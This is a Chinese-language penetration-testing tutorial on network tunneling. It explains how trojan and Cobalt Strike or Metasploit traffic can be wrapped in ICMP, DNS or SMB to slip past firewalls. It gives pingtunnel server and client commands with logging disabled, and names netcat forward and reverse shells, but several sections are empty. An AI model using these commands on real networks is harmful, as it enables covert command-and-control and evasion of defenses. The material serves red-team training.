1. 隧道技术
在进行渗透测试以及攻防演练的时候,通常会存在各种边界设备、软硬件防火墙、IPS等设备来检测外部连接情况,这些设备如果发现异常,就会对通信进行阻断。
那么隧道技术就是一种绕过端口屏蔽的通信方式,在实际情况中防火墙上会设定各种安全策略,比如允许某种类型的端口通过,阻断某种端口通过等情况。那么隧道技术就是将数据包封装成功防火墙允许通过的数据包类型及端口,然后穿越防火墙,与对方进行通信,当被封装的数据包到达后,再将数据包还原。
例如,防火墙拦截了TCP通信,那么HTTP、HTTPS等协议都将无效,那么就可以使用SMB协议,DNS协议、ICMP协议进行建立隧道进行通信。
1.1. 内网—隧道技术
那么为什么再内网中使用到隧道技术,这是由于在内网中通常上传的木马通信会被软硬件防火墙的策略拦截,那么就可以利用隧道进行对木马通信也就是数据通信进行封装,从而改变通信协议绕过拦截,解决CS、MSF无法上线或数据传输不稳定无回显等情况。
1.2. 常见的隧道协议
1.3. 前置条件
入站限制,出站无限制:
如果入站被限制只能访问80端口或者一些其它端口,可能在基础的前期的渗透过程中需要通过文件上传等方式获取到基础的权限,然后再进行后续的渗透,出站是全通的从本质来说就无需进行隧道技术了,直接正常上传木马进行反弹即可,最典型的就是反向shell。
入站无限制,出站限制:
如果入站无限制,那么就可以通过各种手段上传木马或后门,最典型的就是正向shell
出入站均限制:
如果出入站均存在限制,那么就要考虑它限制的内容的,如果只是简单的限制还好,如果限制做的比较严谨,那么就可能存在无法解决的办法。
2、网络层隧道技术
2.1、 ICMP隧道技术
通常在通信协议中,如果两台主机需要互相通信,那么就需要提前放开相应的端口用于通信,而且ICMP是不需要这些端口进行通信的,ICMP是依靠Ping命令去和远端主机进行通信的,而且ICMP隧道就是在通信过程中将TCP/UDP的数据封装在ICMP的Ping数据包中,从而穿越防火墙。
2.2、常见工具
pingtunnelhttps://github.com/esrrhs/pingtunnel
cs配置:
生成木马,使用监听器1来生成:
……
服务端:
./pingtunnel -type server -key 1111
客户端:
pingtunnel.exe -type client -l 127.0.0.1:1111 -s 192.168.26.144 -t 192.168.26.144:2222 -tcp 1 -noprint 1 -nolog 1 -key 1111
效果展示:
3、传输层隧道技术
netcat
nc正向代理:
被攻击主机:
攻击主机:
nc反向代理:
被攻击主机:
攻击主机: